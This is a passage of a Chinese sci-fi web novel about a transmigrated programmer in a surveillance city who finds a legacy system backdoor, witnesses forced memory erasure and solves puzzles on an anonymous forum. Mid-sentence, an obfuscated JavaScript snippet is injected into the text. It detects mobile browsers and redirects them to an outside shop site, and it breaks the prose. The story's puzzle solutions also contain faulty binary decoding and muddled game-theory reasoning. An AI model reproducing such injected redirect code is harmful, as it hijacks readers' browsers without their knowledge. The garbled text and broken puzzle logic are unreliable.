天色渐暗,街灯自动亮起,暖黄色光晕洒在路面。对面街角有家小店,招牌写“老陈修理铺”,橱窗里堆满各种老旧电子设备,看起来像专门修理神经接口外设的。 林越多看两眼,心里盘算:也许以后需要这种人脉。在监控社会里,懂技术的手艺人总是有用的。 红灯变绿。他迈步过街。 就在踏上对面人行道那一刻,神经接口突然震动了一下。 不是系统通知那种轻微的“意识轻拍”,而是更强烈、更突兀的震动,像有人用指尖在他大脑皮层上敲了一下。 紧接着,一条消息弹了出来。 不是通过常规通讯频道,而是点对点的、加密的、匿名的直接传输。消息来源被层层协议包裹,显示为“无法追溯的匿名节点”。 内容很短,只有一行字: “你的DNA很特别,不想聊聊吗?——匿名来源” 林越脚步顿住了。 他站在人行道上,周围川流不息的人群,街灯光晕在他脚下投出长长影子。神经接口视野里,那条消息静静悬浮,末尾附着一个坐标: 第七区,旧城巷,坐标(X-287.4,Y-103.9,Z-15.2) 坐标下方还有一行小字备注:该区域当前监控覆盖率:约58%(中等偏低) 心跳漏了一拍。 DNA。又是DNA。工坊系统刚把他标记为“观察对象”,下班路上就收到匿名邀请。是巧合?还是说,这个城市里不止一个“观察者”在注意着他? 他盯着那条消息,脑子里飞速分析可能性: 1.陷阱。某个势力(可能是黑水酒吧相关,也可能是其他)想引诱他上钩。 2.机会。有人真的对他的DNA异常感兴趣,可能是研究者,也可能是……和他类似的“异常者”。 3.测试。系统本身的某种隐蔽监控手段,看他会不会对匿名邀请做出反应。 无论哪一种,都意味着风险。 但风险也意味着信息。在这个数据透明的世界里,匿名邀请本身就是最稀缺的“隐私”行为。能发出这种消息的人,要么技术高超,要么权限特殊。 林越沉默站了十几秒,然后做了一件事: 他既没有回复消息,也没有删除消息,更没有按照坐标前往。 他只是用意念操作神经接口,将这条消息完整截屏保存,加密存储进本地缓存区(神经接口允许用户保存少量完全离线的个人数据),然后清除接收记录。 做完这一切,他继续往前走,表情平静得像什么都没发生过。 但脑子里已经在飞速运转: 坐标是第七区旧城巷,监控覆盖率58%——比市中心低,但也不是完全盲区。对方选择那里,可能是为了方便观察,也可能是为了安全。 “不想聊聊吗?”——邀请式的语气,没有威胁性,更像是在试探他的意愿。 DNA很特别——对方知道他的DNA异常,而且认为这是“特别”而不是“异常”。用词有微妙区别。 林越走到下一个街口,拐进更安静的小巷。巷子两边是老旧居民楼,晾衣绳横跨空中,挂着各式衣物。几个孩子在楼下空地上玩全息投影游戏,光影闪烁。 他在公共长椅上坐下,假装休息,实则继续思考。 去,还是不去? 去的理由:可能是获取关键信息的机会,可能接触到城市灰色地带人脉,可能解开DNA异常谜团。 不去的理由:风险太高,可能是陷阱,可能暴露自己的异常行为倾向,可能被系统记录为“与匿名节点接触”。 权衡之下…… “暂时不去。”他做出决定。 不是永远不去,而是现在不去。现在的他太弱了,神经接口耐受度低,对监控系统的了解还停留在表面,连基础的防护技术都没掌握。贸然接触匿名势力,等于送死。 他要等。等自己更强一些,等对这个世界更熟悉一些,等……找到合适的时机。 但那条消息和坐标,他会牢牢记住。 天色完全暗下来。街灯光晕在巷子里投下斑驳影子。远处传来隐约市井喧嚣,近处孩子们的游戏进入高潮,欢呼声阵阵。 林越坐在长椅上,看着这一切,忽然想起龙语世界那个夜晚——也是坐在破庙外,看着黄壤屯的零星灯火,心里盘算如何生存下去。 场景不同,世界不同,但处境何其相似。 都是异乡人,都是在规则边缘试探,都是在寻找那一线生机。 他深吸一口气,站起身,拍了拍工装上的灰尘。 该回公民服务中心了。十点前必须报到,否则会被扣分。在信用积分攒够之前,他不能有任何违规行为。 回去的路上,他又经过那个十字路口。对面的“老陈修理铺”还亮着灯,橱窗里的老旧设备在灯光下泛着金属光泽。 林越多看两眼,心里记下这个位置。 然后他继续往前走,身影融入夜色中。 神经接口视野角落里,那条被清除的匿名消息早已消失不见。但坐标数字和那句“你的DNA很特别”,已经刻在了他的记忆深处。 深海之下,暗流已经开始涌动。 而他才刚刚潜入,连第一口氧气都还没吸够。 20. 防火墙与面具 第三天早上,林越站在公民服务中心的公共数据终端前,盯着屏幕上滚动的《新长安城公民基础权益与义务手册》。 准确地说,是盯着手册附录三:《个人信息防护技术入门(临时公民版)》。 手册写得冠冕堂皇,前言里说:“为保障公民在数据透明化社会中的基本隐私权,特提供以下防护技术指导……”但往下翻,内容少得可怜,像极了公司给新员工发的《信息安全培训》PPT——全是正确的废话,没一句能用的。 “数据加密基础:建议对敏感信息进行128位以上加密。” “流量伪装入门:可通过随机延迟、数据包填充等方式降低行为可预测性。” “痕迹擦除指南:定期清理本地缓存,避免累积可追踪的数字足迹。” 每一条都像在说:“我们知道你不想被看光,但真不想被看光的话,你得自己想办法。” 林越扯了扯嘴角。这就是监控社会的黑色幽默:系统一边把所有人的数据扒得精光,一边又假惺惺地教你“如何保护隐私”。像极了把人家衣服全扒了,然后递过去一条巴掌大的布,说:“喏,遮羞布,拿好。” 但巴掌大的布也是布。林越心里吐槽:“这防护手册,听起来像‘隐私保护指南’,实际上是‘如何优雅地裸奔说明书’。这宣传文案涉嫌虚假广告,应该罚款——虽然罚款也是交给系统,相当于左口袋出右口袋进。而且这手册的技术说明,一看就是‘祖传代码’风格——写得模棱两可,关键步骤用‘等等’带过,还夹杂着看不懂的术语。像是某个程序员十年前写的TODO注释,结果一直被复制粘贴到现在。” 在裸奔时代,穿条裤衩也是反抗。 他花了半小时把手册里的技术要点记下来——不是用神经接口直接下载(那会被记录),而是用最原始的方法:眼睛看,脑子记。虽然效率低,但安全。神经接口的本地缓存区可以存储少量完全离线的个人数据,他把关键步骤整理成加密笔记存了进去。 “第一步:建立基础数据防火墙。” 手册里说得轻巧,实际操作起来像在满是窟窿的破船上打补丁。林越坐在工坊食堂的角落里(这里监控覆盖率相对较低,92%),尝试用意念操作神经接口,在数据流外围建立一层简单的过滤屏障。 原理很简单:所有进出神经接口的数据,都要经过这层屏障的检查。屏障会根据预设规则,把某些类型的数据标记、延迟、甚至伪装。 实际操作起来…… “呃——” 林越按住太阳穴。又来了,那种大脑被强行分区的撕裂感。一边要维持正常的数据筛选工作(他面前摆着个便携式数据板,假装在看工作资料),一边要在意识深处构建防火墙架构。 就像一边在流水线上拧螺丝,一边在脑子里设计火箭图纸。 而且图纸还是用碎片拼的。 屏障构建到三分之一时,神经接口弹出一条系统提示: 检测到非常规数据处理模式可能影响工作效率,是否继续?提示:临时公民信用积分低于10分时,不建议进行可能降低工作效率的行为。 林越盯着那条提示,心里骂了句脏话。 “这警告提示,比编译器报错还霸道。至少编译器还会告诉你错在哪行,这玩意儿直接威胁扣分。”他内心吐槽,“而且这‘可能影响工作效率’的判定标准是什么?我要是效率太高,是不是也得扣分——‘过度劳动影响身心健康’?” 威胁。赤裸裸的威胁。意思是:你一个临时公民,信用积分才5分(昨天加的),老老实实干活就得了,搞什么防护技术?再搞就扣你分。 “这防护技术学习任务,难度评级直接拉满到‘地狱模式’。”林越内心吐槽,“我这边配置一般,积分才5分,还兼职系统重点观察对象——相当于游戏里刚出新手村就遇到精英怪。” 他深吸一口气,用意念选择了“继续,已了解风险”。 屏障构建继续。 二分之一时,头痛加剧。视野边缘开始出现细小的光斑,像老式电视机信号不良时的雪花点。 四分之三时,他感觉自己的思维被切成了两半:一半在维持表面的平静(吃饭、看数据板、偶尔抬头看看周围),另一半在数据层面疯狂打补丁。 最后一块补丁打上时,系统提示再次弹出: 个人信息防护屏障(初级)已建立当前防护等级:D-(极低)预计可抵挡基础数据扫描,对深度分析无效备注:该行为已被记录为‘公民自我防护意识提升’,信用积分+1 林越愣了下,然后笑了。 气笑的。 建立防护屏障,系统给你加1分。但如果屏障影响了工作效率,系统就扣你分。这是什么?精神分裂式管理?一边鼓励你保护隐私,一边惩罚你保护隐私时耽误了干活。 “行吧,D-就D-。”他关掉提示,“总比裸奔强。” 屏障建立完成的瞬间,他能感觉到细微的变化。 之前神经接口里的数据流是“直接冲刷”的感觉,现在多了一层模糊的缓冲。虽然还是很透明,但至少……像隔着一层毛玻璃看东西了。虽然毛玻璃很薄,一捅就破。 但至少有了层玻璃。 下午的工作时间,林越开始测试屏障的效果。 他故意在数据筛选时犯了个小错——把一条明显的“绿色观察”级别异常,标记成了“黄色警告”。这种错误在学徒身上很常见,系统一般不会深究。 标记完成后,他静静等待。 三分钟后,神经接口收到一条来自陈主管的提醒:“注意标签准确性。错误率超过5%会影响转正评估。” 提醒很简短,没有更多内容。 林越松了口气。这说明屏障起了作用:系统检测到了他的错误,但只将其归类为“普通工作失误”,没有深入分析他犯错时的思维波动、情绪变化、甚至……他故意犯错背后的意图。 如果没这层屏障,系统可能会发现:他在标记错误前,有0.3秒的犹豫;犹豫期间,他的脑电波出现了与“决策矛盾”匹配的模式;这种模式与他平时“谨慎”的行为档案不符…… 然后系统就会问:为什么? 为什么一个平时谨慎的人,会突然犯这种低级错误? 一旦系统开始问“为什么”,麻烦就来了。 所以屏障的作用,就是让系统“不问为什么”。把异常行为包装成普通失误,把有意为之伪装成无心之失。 当然,这只是最基础的防护。对付普通的数据扫描还行,遇到专门针对他的深度分析,这点屏障跟纸糊的没区别。 但纸糊的也是纸。 下班后,林越没有直接回公民服务中心。 他拐进了第七区的一条商业街。街道两旁是各种店铺:神经接口配件专卖、数据流优化中心、情绪调节诊所……还有酒吧。 他在一家招牌闪着蓝色霓虹灯的酒吧前停下脚步。 招牌上写着:“黑水酒吧”。 和神经接口里标注的一模一样。位置也对:第七区中段,监控覆盖率约60%(确实比市中心低)。 酒吧外观很普通,深色门面,玻璃窗上贴着磨砂膜,看不清里面。门口没有保安,只有一个简单的神经接口验证面板,上面显示着两行字: 黑水酒吧准入条件(满足其一即可): 1.信用积分≥50 2.内部引荐码 3.特殊权限持有者 林越盯着那行“信用积分≥50”,心里算了下。 他现在有6分信用积分(初始0+工作表现5+防护意识1)。信用点倒是还有不少——初始1000点,扣掉两晚住宿100点,加上昨天和今天工资180点,算上食水杂项……大概还剩980点左右。但黑水酒吧要的是信用积分,不是信用点。按这个速度,每天工作表现加5分,要九天才能攒到50分。这还不算可能因为各种原因被扣分。 九天。太长了。 匿名邀请的坐标就在第七区旧城巷,离这里不远。对方显然在等他回应。等九天?对方可能早就没耐心了。 他走近验证面板,神经接口自动感应,弹出提示: 检测到访问请求访问者:林越(临时公民)信用积分:6状态:不符合准入条件建议:提升信用积分至50分,或获取内部引荐码 林越没动,静静站了几秒。 然后他转身离开,脚步平稳,表情自然,像只是路过好奇看了一眼。 但转身的瞬间,他用眼角的余光扫了一眼酒吧门口的监控探头位置——两个,一个在招牌左侧,一个在右侧屋檐下。覆盖角度有重叠,但有死角:正门口正下方。 他还注意到,酒吧旁边是家“神经接口快速维修”店,店里有个老头正蹲在柜台后修设备,头都没抬。 这些细节他记了下来。 不是现在用,是以后用。 回到公民服务中心的路上,林越打开了自己的公民数据面板。信用积分那一栏还是6,但下方多了一条新记录:“个人信息防护屏障建立(+1分)”。 他看着那条记录,脑子里冒出一个念头。 既然建立防护屏障能加分……那能不能用这个机制,快速刷分? 比如,建立更复杂的屏障,或者“优化”现有屏障,让系统认为他在“持续提升防护意识”,然后不断给他加分? 理论上是可能的。系统鼓励公民“自我提升”,防护技术属于“有益技能”,应该会给奖励积分。 但实际操作起来,风险很大。 首先,频繁建立、拆除、重建屏障,会引起系统注意。为什么这个人对防护技术这么执着?是不是有什么特别需要隐藏的东西? 其次,防护技术本身就有风险。像他今天这样建个初级屏障就头痛欲裂,建更复杂的屏障,说不定直接脑出血。 最后,就算真能刷分,速度也不会太快。系统不是傻子,同样的行为重复太多次,奖励分会越来越少,直到没有。 “还是要走正规渠道。”林越叹了口气,“老老实实工作,攒分。” 但正规渠道太慢了。 他需要更快的方法。 第二天上班时,林越接到了一个特殊任务。 陈主管把他叫到办公室,扔给他一个数据板:“今天别筛公共数据流了,去归档库。那里有些老数据需要整理,顺便学学系统架构。” 林越接过数据板,上面显示着任务详情:“第七区数据归档库,V3.0系统遗留数据整理”。 V3.0。 他记得神经接口的当前版本是V5.2。V3.0是两代前的版本,早就该淘汰了。 “为什么还要整理老数据?”他问。 陈主管瞥了他一眼,眼神里有种“你不懂就别问”的不耐烦:“系统升级不是一蹴而就的。V3.0时期有些数据没迁移干净,留在底层数据库里。现在要清理,但清理前得先看一遍,确认没重要东西。” 她顿了顿,补充道:“这活儿没人爱干,所以才轮到你这种新人。好好干,干好了有额外积分奖励。” 林越点头:“明白。” 心里却在想:老数据……底层数据库……系统升级遗留…… 这简直是天赐良机。 归档库在工坊的地下二层。这里比上面的工坊区冷清得多,灯光昏暗,空气里有股灰尘和臭氧混合的味道。几十排金属数据柜整齐排列,柜门上贴着标签:“V3.0系统日志备份”、“V3.0公民行为档案”、“V3.0开发文档”…… 林越按照数据板的指示,找到了需要整理的那排柜子。 柜门打开,里面是一叠叠老式存储介质——不是现在通用的神经接口直接存取,而是物理的数据芯片,需要插入专门的读取器。 他找了个工位坐下,戴上老式数据眼镜(这里没配备神经接口直连设备),开始读取芯片。 数据很枯燥。 大多是V3.0时期的系统日志:某年某月某日,系统进行了某某升级;某某功能模块出现BUG,已修复;某某公民因某某行为被标记…… 但他看得很仔细。 因为在这些枯燥的日志里,藏着一些有趣的东西。 比如,有一份V3.0系统设计文档的残片。文档里提到了一个叫“遗留接口”的东西。 遗留接口(Legacy Interface) 描述:V2.0系统向V3.0过渡时,为保持兼容性保留的旧版接口。 功能:允许通过特定协议访问底层数据库,绕开部分权限检查。 状态:V3.0正式版中已禁用,但代码未完全移除。 风险:可能被利用进行非授权访问。 “典型的程序员行为。”林越心里吐槽,“写个‘TODO: 移除遗留接口’,然后就忘了。结果这个TODO一躺就是十年,成了系统的阿喀琉斯之踵——虽然这个‘踵’可能只有针尖大,但足够扎穿整个系统的安全感。” 林越盯着那行“代码未完全移除”,心跳快了一拍。 遗留接口。绕开权限检查。代码未完全移除。 这不就是……后门吗? 系统升级时,为了图省事(或者程序员偷懒),没有把旧代码清理干净,留下了漏洞。这种漏洞在新版本里可能还在,只是被隐藏了,普通人找不到。 但如果知道怎么找…… 他继续往下翻。 又找到一份V3.0时期的“异常访问记录”。记录显示,在V3.0系统运行的末期,有多次试图访问“遗留接口”的尝试,但都失败了——因为接口“已禁用”。 “已禁用”,不是“已删除”。 禁用和删除是两回事。禁用是把门锁上,删除是把门拆了。锁可以撬,门拆了就真没了。 林越把这些发现记了下来——不是用数据板,而是用最原始的方法:纸笔。归档库提供纸笔用于临时记录,因为老式数据眼镜不方便做笔记。 他在纸上写下关键词:“V3.0,遗留接口,底层数据库访问,权限绕过”。 写的时候,他感觉自己的手在微微发抖。 不是害怕,是兴奋。 如果这个漏洞真的存在,而且还能用……那他就有了一个监控系统里的“后门”。虽然可能权限有限,虽然可能随时会被系统发现并封堵,但至少……是个突破口。 一个在裸奔时代,能让他偷偷穿条裤衩的后门。 整理工作进行了三个小时。 林越把整理好的数据芯片归类放回柜子,正准备离开时,归档库的门突然开了。 两个穿黑色制服的人走了进来。制服上没有标识,但林越一眼就认出来了——是“数据再教育”小组的人。他在公民服务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119406|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中心的宣传片里见过这种制服。 两人中间夹着一个人。 那是个中年男性,穿着普通的灰色工装,但眼神空洞,表情麻木,像一具被抽空了灵魂的躯壳。他走路的姿势很僵硬,每一步都像被无形的线牵着。 “数字遗民。”林越脑子里闪过这个词。 中年男性被带到了归档库深处的一个小房间前。房间门上有标识:“数据净化室”。 门开了,里面是纯白色的空间,中间摆着一张椅子,椅子周围环绕着几台林越没见过的设备——像是神经接口的增强版,但更复杂,更……冰冷。 中年男性被按在椅子上。设备启动,发出低沉的嗡鸣声。 然后林越看到了让他背脊发凉的一幕。 中年男性的眼睛突然瞪大,瞳孔收缩,嘴巴张开像要尖叫——但没发出任何声音。他的身体开始抽搐,不是剧烈的抽搐,而是细微的、高频的震颤,像被电流反复击打。 与此同时,他面前的空气里浮现出一行行数据流。不是神经接口那种只有本人能看到的浮窗,而是实体化的全息投影,所有人都能看到。 数据流快速滚动: 公民ID:D8K2P7 状态:数字遗民(离线时长:73小时15分钟) 处理程序:数据再教育(深度格式化) 进度:正在擦除底层记忆节点…… 警告:检测到抵抗意识,启动强制服从协议…… 林越站在那里,动弹不得。 他知道“数字遗民”会被带走“再教育”,知道那不是什么好事。但知道和亲眼看到,是两回事。 亲眼看到一个人被按在椅子上,意识被强制格式化,记忆被擦除,人格被重构…… 那感觉像在看一场谋杀。 一场对“人”的谋杀。 数据流继续滚动: 底层记忆节点擦除完成正在植入基础行为模板…… 植入进度:37%……58%……79%…… 警告:原有人格碎片检测到复苏迹象,启动二次压制…… 中年男性的抽搐停止了。他瘫在椅子上,眼睛还睁着,但里面什么都没了。没有恐惧,没有痛苦,没有愤怒……连空洞都没有了。就是……两个玻璃球。 过了大概十分钟,设备停止了嗡鸣。 中年男性被从椅子上拉起来。他站得很稳,甚至对那两个黑衣人员点了点头,说了句什么——距离太远,林越听不清。 然后他被带走了。 归档库的门重新关上。 纯白色的“数据净化室”里,只剩椅子,和设备上残留的、慢慢消散的全息投影。 林越站在原地,感觉全身的血液都凉了。 念头不合时宜地冒出来:“这技术要是用在‘忘记尴尬往事’上,肯定能成爆款产品。尤其是针对那些半夜想起来会脚趾抠地的社死回忆——格式化,一键清空,永无烦恼。” 他想起刘贤说的那句话:“透明有透明的好处,至少……你不会犯错。” 他现在明白这句话的真正含义了。 “不会犯错”的意思,不是“你做了正确的事”,而是“你根本没有犯错的机会”。一旦你偏离系统设定的轨道,一旦你表现出“异常”,等待你的不是惩罚,而是……抹除。 把你的记忆抹除,把你的人格抹除,把你作为一个“人”的一切抹除。 然后塞进一套新的、符合系统要求的模板。 这比死亡更可怕。 死亡至少你还是你。而这种“再教育”……你连“你”都不是了。 林越深吸一口气,强迫自己移开视线,转身离开归档库。 回到工坊楼上时,他的手指还在微微发抖。 不是害怕那个人,是害怕自己。 害怕有一天,他也会被按在那张椅子上,看着自己的记忆被一行行擦除,看着自己的人格被一点点替换,看着“林越”这个存在,被彻底抹掉。 然后变成一个……符合系统要求的、不会犯错的、透明的好公民。 像刘贤那样。 不。 他宁可死。 下班后,林越回到公民服务中心的临时宿舍。 他坐在床上,打开公民数据面板,想看看今天的积分有没有增加(整理归档库应该有奖励)。 积分确实加了2分,现在是8分。 但他没看积分,而是看向了生物识别数据那一栏。 DNA异常标记。 昨天还是:“观察对象:低风险”。 今天变成了:“观察对象:重点观察”。 标签颜色从淡黄色变成了醒目的橙色。下方新增了一行注释: 异常数据模式威胁度:37% → 42%威胁度持续上升,疑似激活状态 建议:提升监控等级至二级,定期进行生物特征深度扫描 林越盯着那行“42%”,心脏沉了下去。 威胁度上升了。从他穿越到这个世界,才过了三天,威胁度就从37%涨到了42%。 为什么? 因为他频繁接入数据流?因为他建立了防护屏障?还是因为……他在归档库里接触了V3.0的老数据,触发了某种关联? 他不知道。 但系统知道。 系统不仅知道,还在“重点观察”他。 “重点观察”是什么意思?意味着他的每一个数据行为都会被仔细分析,每一次神经接口的波动都会被记录,甚至……他的生物特征(心率、血压、脑电波)都会被定期扫描,以检测“异常”。 他就像实验室里的小白鼠,被关在透明的笼子里,每一个动作都被记录,每一次呼吸都被分析。 而笼子外面,穿着白大褂的研究员正拿着笔记本,认真写着:“实验体编号XXX,今日表现异常,建议加强观察。” 林越关掉面板,躺到床上。 天花板白得刺眼。 他想起归档库里那个中年男性空洞的眼睛,想起刘贤标准得像模板的笑容,想起系统提示里冰冷的“重点观察”标签。 然后他想起龙语世界的死亡。 想起自己制定《跨世界生存通用准则》时,心里那份“至少下次不会赤手空拳”的决心。 现在他有“武器”了吗? 有一条巴掌大的裤衩(初级防护屏障),和一个可能存在的后门(V3.0遗留接口)。 还有一个“重点观察”的标签,和一个42%威胁度的DNA异常。 以及三道红痕,三条命。 够吗? 他不知道。 但他知道一件事:在这个裸奔的时代,他必须继续穿那条裤衩。必须继续找后门。必须继续在系统的眼皮底下,偷偷摸摸地,一点一点地,为自己争取那一点点可怜的、随时可能被夺走的……隐私和自由。 因为不穿裤衩,就是真正的裸奔。 而不反抗,就是默认接受那张椅子。 他闭上眼,脑子里浮现出归档库深处,那间纯白色的“数据净化室”。 和那张椅子。 然后他对自己说: “永远,不要坐到那张椅子上。” “哪怕只剩一条命。” “哪怕裤衩破得只剩一根线。” “也绝不。” 21. 幽灵邀请 林越坐在深网数据工坊的工位上,神经接口传来的数据流在视野边缘缓缓滚动。 今天是他来到新长安城的第四天。 左手腕的三道红痕依旧鲜艳,像是某种倒计时。而他的个人数据面板上,那个刺眼的标签没有消失: 观察对象:重点观察异常数据模式 威胁度:37% → 42%威胁度持续上升,疑似激活状态 “重点观察。”林越在心里重复了一遍这个词。 意思是他的每一个数据行为都会被仔细分析,每一次神经接口的波动都会被记录,甚至生物特征都会被定期扫描。用程序员的话说,就是他这个“bug”已经被系统标记为“待修复”,只是暂时还没决定用哪个版本的补丁。 但他没有时间恐惧。 第四天了。距离临时公民身份评估还有二十六天,距离“数字遗民”警报触发还有六十八小时——如果他敢断开神经接口的话。 而昨天在归档库看到的那一幕,那个中年男性空洞的眼睛,那个被系统称为“数据再教育”的实质是意识格式化的过程…… “永远,不要坐到那张椅子上。” 林越对自己说过这句话。现在他再加一句: “所以,得想办法。” 今天的筛选任务相对简单:检查一批商业注册数据的完整性。林越一边机械地执行工作,一边在心里复盘昨天发现的线索。 V3.0系统后门漏洞。 他在老数据档案中找到的“遗留接口”文档里提到,新长安城监控系统在从V3.0升级到V5.0时,为了保持向下兼容,保留了部分旧接口。这些接口理论上应该被封锁,但因为当时的开发团队赶进度——林越太懂这个了——有些接口只是简单屏蔽了访问路径,却没有真正关闭底层通道。 “就像给一扇门贴了‘禁止入内’的封条,但忘记锁门。” 程序员思维开始运转。 文档里提到了三个可能存在的遗留接口: 1.历史数据档案馆访问通道(低敏感度数据) 2.系统开发日志查询节点(部分日志) 3.匿名数据层传输路径(用途不明) 风险在于:访问这些接口不会生成正式的系统日志,但会在底层缓存中留下痕迹。而如果系统启动深度扫描——比如针对“重点观察”对象——这些痕迹就可能被挖出来。 “赌一把。”林越想,“或者等死。” 他选择了风险最低的第一个接口。 **测试开始:**历史数据档案馆访问通道。 林越在视野中调出数据访问面板,输入昨天从文档里解析出的访问路径。不是常规的API调用,而是一串看起来像是乱码的字符序列——这是V3.0时代的旧协议格式。 “按回车的感觉,有点像在试保险箱密码。”他吐槽道,“错了会报警吗?大概率会。” 敲下确认。 视野边缘出现了一个新的数据窗口,标题是:“历史数据档案馆(受限访问)”。 成功了。 窗口里的内容不多:一些过期的公民数据归档(五年以上)、已终止的研究记录、系统早期版本的开发文档。都是低敏感度信息,但…… “没有日志记录。”林越仔细观察访问面板的状态栏。常规访问会留下“访问时间-访问者ID-访问内容”的三段式记录,但这个窗口的状态栏是空的。 不,不是完全空。 底部有一行小字:“缓存状态:已写入底层缓存(临时,72小时后自动清理)”。 “底层缓存。”林越记住了这个词,“就像是系统的草稿纸,写了字但不算正式作业。” 这给了他一点安全感。72小时的清理周期意味着,只要他不被频繁扫描,这些访问痕迹就有机会被自动清除。 但同时也意味着:如果他触发扫描,这些痕迹会被立刻发现。 权衡利弊。林越评估了十秒。 “继续。”他决定,“总不能因为怕被发现bug,就不写代码了。” 接下来的两个小时,林越在工作间隙断断续续地测试这个后门。 他发现了几件事: 1.访问权限确实受限:只能查看,不能修改或下载数据。 2.数据范围有限:主要是历史数据和过期文档,没有实时监控信息。 3.但有一个意外发现:在“匿名数据层传输路径”的文档链接里,他找到了一个可访问的坐标。 那是一个完全独立的数据空间,入口隐藏在历史档案馆的某个废弃索引页背后。需要连续三次“意外”点击特定的超链接,才能进入。 “设计得像是彩蛋。”林越想,“或者说,像是故意留给‘懂行的人’的后门。” 他点了进去。 视野瞬间切换。 灰色。 这是林越的第一感觉。 不是视觉上的灰色——神经接口传输的是纯粹的数据流,没有颜色概念——而是一种“质地”上的灰色。常规数据空间清晰、结构化、层级分明,像是精心设计的软件界面。而这个空间……混乱、流动、边界模糊。 数据包像是气泡一样飘浮,每个气泡表面闪烁着加密的标签。没有用户ID,没有身份验证,只有一串串随机生成的临时标识符。 “匿名论坛。”林越明白了,“或者说,地下黑市。” 他谨慎地观察。气泡的数量不多,大概几十个,有些静止,有些缓慢移动。它们之间偶尔会碰撞,交换一小段数据,然后分开。 “点对点加密传输,一次性标识符,无日志记录。”林越分析道,“这里的规矩是:不问身份,只看内容。” 他尝试“触碰”最近的一个气泡。 视野中弹出一行字:“访问需要解答验证问题:3+5=?” 林越愣了一下,输入“8”。 气泡打开了,里面是一段文本:“求购:公民健康数据脱敏算法(规避V5.0新规)。报酬:信用积分20点或等值工具。” “求购违法工具。”林越关闭了气泡,“这地方果然不干净。” 但他没有立刻离开。相反,他开始系统地浏览。 大部分气泡内容都是类似的:数据交易、工具交换、信息买卖。有些求购监控规避技巧,有些出售“安全屋”坐标(指电磁屏蔽区域),还有些在招募“合作伙伴”。 直到他看到一个气泡的标签与众不同。 标签不是描述内容,而是一个简单的图标:一把老式燧发枪的轮廓。 验证问题也很特别:“访问需要证明智力:无问题,请自行寻找入口。” “智力测试。”林越来了兴趣。 他仔细观察气泡表面。没有明显的入口按钮,没有输入框。气泡本身在缓慢旋转,表面数据流构成复杂的图案。 “图案有问题。”林越眯起眼睛。 旋转的图案每隔七秒会重复一次,而在重复的瞬间,某个特定位置会出现一个微小的数据缺口——持续时间不到0.1秒。 “需要精准点击。”林越计算着时间。 七秒周期。缺口出现位置:旋转角度第132度处。持续时间:0.08秒。 他等到下一次周期开始,在第六秒时开始倒计时:“三、二、一……现在!” 神经接口的思维指令精准命中。 气泡打开了。 里面的内容很简单,只有三行字: 招募:需要一名懂得在规则缝隙中跳舞的伙伴。 三道题,能解就聊。 发帖者:老枪 下面是三道数据逻辑题。 林越扫了一眼,程序员的本能立刻被激活了。 题一:数据流加密谜题 以下数据包传输记录已被截获,使用莫尔斯电码变体加密(长脉冲=1,短脉冲=0)。请解析出原始信息。传输序列:1101 0010 1011 0100 1110 0001附加信息:每四个二进制位对应一个英文字母(A=0000, B=0001, …, Z=1101),超出部分为自定义编码。 林越花了三十秒。 “这题设计得像是技术面试里的脑筋急转弯,专治各种‘我以为我会’。”他内心吐槽,“幸好不是‘如何用一句话让程序员崩溃’——那种题我可能真的会当场死机。” “莫尔斯变体,但实际是二进制转字母。”他在心里演算,“1101=M,0010=C,1011=……等等,1011对应什么?字母表只有A到Z,1101是M,那1011是……” 他意识到问题:字母表到Z(1101),而1011是十进制的11,对应K。 快速计算:1101(M)-0010(C)-1011(K)-0100(E)-1110(?) -0001(B) “1110对应十进制的14,字母N。”林越得出结果,“所以是:MCKE NB?” 不,顺序可能有问题。他重新检查:“等等,传输序列是六个四位数,但英文字母通常组成单词……MCKENB没有意义。” 换个思路:也许是需要重组。 他尝试按不同顺序排列,直到找到有意义的组合:“B KN”?不对。 “BE!”林越突然反应过来,“如果1110不是N,而是作为‘空格’或分隔符呢?” 把1110当作分隔符,剩下的五个四位数:1101(M)-0010(C)-1011(K)-0100(E)-0001(B) 重组为有意义的单词:“BE”需要字母B、E、C、O、M、E。现有M、C、K、E、B。 “K不是O。”林越皱眉,“但1011是K,如果编码偏移……等等,题中说‘超出部分为自定义编码’,意思是非标准映射。” 他假设1011对应O(字母表第15位,但二进制1011是11,需要加4的偏移)。 测试:1101(M,13)-0010(C,3)-1011(O,15假设)-0100(E,5)-0001(B,2) 重新排序成“BE”:B(2)-E(5)-C(3)-O(15)-M(13)-E(5) “对了!”林越在视野中输入答案:“BE”。 题一通过。 题二:系统权限逻辑陷阱 两个数据节点A和B需要共享敏感信息。系统规则:若A发送信息给B,且B接收,则A信用积分+10,B-5若B发送信息给A,且A接收,则B信用积分+10,A-5若双方同时发送,则信息冲突丢失,双方各-20若双方都不发送,则无变化假设A和B都是理性决策者,且无法沟通。请问经过无限次重复博弈后,最可能的稳定策略是什么?请用数据模型说明。 “囚徒困境的数据版本。”林越笑了,“这题我熟。” 他在心里建立模型: 双方都有两个选择:发送(S)或不发送(N)。 支付矩阵: A发送,B接收:A+10,B-5 B发送,A接收:B+10,A-5 同时发送:各-20 都不发送:各0 从个体理性出发: 如果对方选择发送,我最好不发送(-5 vs -20) 如果对方选择不发送,我最好发送(+10 vs 0) 所以“发送”是严格优势策略吗?不,因为如果对方也发送,结果是-20,比不发送的-5更差。 经典囚徒困境。唯一的纳什均衡是(发送,发送),结果(-20,-20),对双方都是最差。 “这就像两个程序员互相推卸责任,最后项目延期,大家一起加班——只不过这里的‘加班’是扣信用积分,而积分在这个世界等于生存资源。”林越内心吐槽,“所以结论是:无论在哪个世界,合作都是反人性的,但又是生存必需的。真是让人沮丧的真理。” “但题目问的是‘无限次重复博弈’。”林越注意到这个关键点。 无限次重复时,合作可能通过威胁维持。比如“触发策略”:一开始合作(不发送),如果对方背叛(发送),则永远背叛(之后永远发送)。 但需要贴现因子足够高(未来收益重要)。 林越快速演算。最优解是:双方都采用“冷酷触发策略”,永远合作(不发送),获得长期收益0,比每次都-20好。 但他觉得这个答案太简单了。 